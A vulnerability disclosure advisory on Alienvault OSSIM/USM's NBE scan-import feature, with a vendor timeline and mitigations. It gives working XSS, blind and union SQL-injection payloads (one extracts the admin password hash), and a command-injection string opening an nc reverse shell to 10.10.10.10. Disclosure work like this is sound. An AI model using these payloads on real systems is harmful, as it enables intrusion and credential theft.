Alienvault OSSIM/USM 4.14/4.15/5.0 – Multiple Vulnerabilities
Details ======= Product: Alienvault OSSIM/USM Vulnerability: Multiple Vulnerabilities (XSS, SQLi, Command Execution) Author: Peter Lapp, lappsec@gmail.com CVE: None assigned Vulnerable Versions: Tested on 4.14, 4.15, and 5.0. It likely affects all previous versions as well. Fixed Version: No fix has been released. Summary ======= Alienvault OSSIM is an open source SIEM solution designed to collect and correlate log data. The vulnerability management section of the UI allows a user to upload a Nessus scan in NBE format. Using a specially crafted NBE file, a user can exploit multiple vulnerabilities such as XSS, SQLi, and Command Execution. Authentication is required to exploit this vulnerability, but admin privileges are not required. Any user with access to the Vulnerabilities page can perform these attacks. The vendor was notified almost 5 months ago about this vulnerability. Given that they have not responded to my recent requests for updates and just released a major version that did not patch these issues, I have decided to release the details. Technical Details ================= Various fields within the NBE file can be manipulated to exploit certain vulnerabilities. A pretty bare template that I used to test these issues looked something like this: timestamps|||scan_start|Thu Dec 11 17:00:51 2014| timestamps||1.1.1.1|host_start|Thu Dec 11 17:00:52 2014| results|1.1.1.1|1.1.1.1|cifs (445/tcp)|1234|Security Hole|Synopsis :\n\nThe remote host contains a web browser that is affected by multiple vulnerabilities.\nOther references : OSVDB:113197,OSVDB:113198,OSVDB:113199,OSVDB:115035\n timestamps||1.1.1.1|host_end|Thu Dec 11 17:11:58 2014| timestamps|||scan_end|Thu Dec 11 17:16:44 2014| Reflective XSS -------------- The hostname/IP portion of the NBE import is vulnerable. Putting <script>alert(0)</script> directly after the hostname/IP in the NBE will result in the javascript being reflected back when the import finishes. Stored XSS ---------- The plugin ID portion of the NBE is vulnerable. Adding<script>alert(document.cookie)</script> to the plugin ID in the NBE will result in the script being executed every time someone views the HTML report in the OSSIM interface. Blind SQL Injection ------------------- The plugin ID is also vulnerable to blind SQLi. Adding ' UNION SELECT SLEEP(20) AND '1'='1 to the plugin ID will cause the DB to sleep for 20 seconds. SQL Injection ------------- The protocol portion of the NBE is vulnerable to SQL injection. Take this: cifs (445/tcp) And turn it to this: cifs','0','1(',(select/**/pass/**/from/**/users/**/where/**/login="admin"),'N');# (445/tcp) That will result in the hash of the admin password being included in the report. The extra '(' in '1(' is required for the ending ) in order to not cause an error in the Perl script that runs the import. Command Injection ----------------- The hostname/IP portion of the NBE is vulnerable. Adding '#&&nc -c /bin/sh 10.10.10.10 4444&&' will result in a reverse shell as www-data to 10.10.10.10. The initial # is required to comment out the remainder of a SQL query that comes before the dig command where this is injected. Without it the script won't proceed to the required point. Solution ======== There's no official patch for this yet. It is possible to restrict access to the Vulnerabilities page via user roles, which should prevent a user from exploiting this. Also, if you're not using the import feature, you could rename the Perl script on the file system that runs the import. Timeline ======== 01/12/2015 - Notified the vendor of the vulnerabilities. 01/12/2015 - Vendor confirms the issue and files a defect. 01/28/2015 - Requested an update from the vendor and was told the issue would be worked on in the future. 04/20/2015 - Requested an update and informed the vendor of my intent to release the details. No response. 05/05/2015 - Released details to FD. |